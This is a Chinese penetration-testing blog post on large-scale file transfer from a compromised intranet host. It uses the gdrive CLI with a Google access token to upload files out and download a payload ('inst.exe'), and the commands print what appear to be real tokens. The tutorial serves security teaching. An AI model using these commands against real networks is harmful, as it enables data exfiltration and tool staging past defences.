0x01
介绍
✦
0x02
实战和传输
✦
-
Windows10
-
杀软:360,360杀毒
-
能够上外网
-
一个google账号以及api (access token....)
C:UsersadminDesktop>gdrive.exe help upload
Upload file or directory
gdrive [global] upload [options] <path>
global:
-c, --config <configDir> Application path, default: C:UsersadminAppDataRoaming.gdrive
--refresh-token <refreshToken> Oauth refresh token used to get access token (for advanced users)
--access-token <accessToken> Oauth access token, only recommended for short-lived requests because of short lifetime (for advanced users)
--service-account <serviceAccount> Oauth service account filename, used for server to server communication without user interaction (filename path is relative to config dir)
options:
-r, --recursive Upload directory recursively
-p, --parent <parent> Parent id, used to upload file to a specific directory, can be specified multiple times to give many parents
--name <name> Filename
--description <description> File description
--no-progress Hide progress
--mime <mime> Force mime type
--share Share file
--delete Delete local file when upload is successful
--timeout <timeout> Set timeout in seconds, use 0 for no timeout. Timeout is reached when no data is transferred in set amount of seconds, default: 300
--chunksize <chunksize> Set chunk size in bytes, default: 8388608
Go to https://developers.google.com/oauthplayground
· Under the Drive API v3, select one of the following APIs:
· https://www.googleapis.com/auth/drive.readonly
· https://www.googleapis.com/auth/drive
Click Authorize APIs
Click Exchange Authorization Codes for Token
Copy the resulting Access token will allow you to run gdrive with --access-token. For some reason the Refresh token does not seem to work with --refresh-token.
注意,这里显示了,Access Token只有3597秒的有效期。
#使用access-token作为认证,传输同级目录的2.tmp文件到自己的google drive网盘上。
C:UsersAdministratorDownloadsresults>gdrive.exe list --access-token ya29.A0ARrdaM-vPnyNYOdORKc-j2WgGjgO7OVxXGhW3b80dxa-ukuqsn8lnSssJUWIT7Qu0au-UXrotTNTi4a_kw-O6mItkAplPbwDGxRloVrJA9KM9kx7tPhzTbMpyEryiOk7W4E1HsH7d6GnTCs4AetnHTND5QF1
Id Name Type Size Created
1lHwTeV779Yc6sqdmB2N4CXFhlI9w1jyM 2.tmp bin 10.1 KB 2022-04-14 15:21:58
1X21v-LjM8RY9v_6lLMq16PL8uptqdADj inst.exe bin 3.4 MB 2022-04-14 11:04:26
165BZ_XO386NdDngXmB6yoJYZhiNoiKOb 2.txt bin 39.7 KB 2022-04-14 10:57:24
1kJNLrQwSZhDS7hYn1zStMolNLdeFezvr Telegram.exe bin 1.3 MB 2022-04-14 10:56:29
1xd31Xvo4J6Sl4sFS4ny6ntDn1d0c2szH 1.txt bin 6.0 KB 2022-04-14 10:55:05
1oX4rCA-X4DWmVLUnxMUfpsPcxFfmqark 1.txt bin 6.0 KB 2022-04-14 10:53:40
C:UsersAdministratorDownloadsresults>gdrive.exe download 1X21v-LjM8RY9v_6lLMq16PL8uptqdADj --access-token ya29.A0ARrdaM-vPnyNYOdORKc-j2WgGjgO7OVxXGhW3b80dxa-ukuqsn8lnSssJUWIT7Qu0au-UXrotTNTi4a_kw-O6mItkAplPbwDGxRloVrJA9KM9kx7tPhzTbMpyEryiOk7W4E1HsH7d6GnTCs4AetnHTND5QF1
Downloading inst.exe -> inst.exe
Downloaded 1X21v-LjM8RY9v_6lLMq16PL8uptqdADj at 3.4 MB/s, total 3.4 MB
创建test目录。
C:UserspppDocumentsDesktop>gdrive.exe mkdir test --access-token ya29.a0AfB_byAbOgB8ChlwIx4wp_EWpW_BnH_1dnELePWU-O0tS3G0HjIf6sgAK518Ivj1vjhfm-kgIfI3HYl3Z7WyrBXU9zSU9AlOZi-l7TP-lxK1T_kBmivfo72H1swLp2UvKmSIzXDa_Wyi0RU71iFGp4OFAznosq0aCgYKAaASARMSFQHsvYlsObn6MwWbZM66ONFE0x-X8Q0166
Directory 1MFeJKZocF1djZxO5V-b1sr_wHjbren12 created
C:UserspppDocumentsDesktop>gdrive.exe sync upload 1/ 1MFeJKZocF1djZxO5V-b1sr_wHjbren12 --access-token ya29.a0AfB_byAbOgB8ChlwIx4wp_EWpW_BnH_1dnELePWU-O0tS3G0HjIf6sgAK518Ivj1vjhfm-kgIfI3HYl3Z7WyrBXU9zSU9AlOZi-l7TP-lxK1T_kBmivfo72H1swLp2UvKmSIzXDa_Wyi0RU71iFGp4OFAznosq0aCgYKAaASARMSFQHsvYlsObn6MwWbZM66ONFE0x-X8Q0166
Starting sync...
Collecting local and remote file information...
Found 2 local files and 0 remote files
2 remote files are missing
[0001/0002] Uploading test123.txt -> testtest123.txt
[0002/0002] Uploading gdrive.exe -> testgdrive.exe
Sync finished in 20.5673107s
00x03
思考和总结
✦
-
其他的网盘有没有这种第三方的网址的api,能不能传输?
-
我们以后在某一个集团的内网的时候,能否根据内网所使用的服务器提供商自带的一些功能进行传输呢?(比如,在google vps里使用 google drive, 在azure云上的服务器使用onedrive文件传输),这一点就留给读者们继续拓展!
参考文献
更多阅读
原文始发于微信公众号(云起无垠):渗透测试-内网大规模文件传输
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论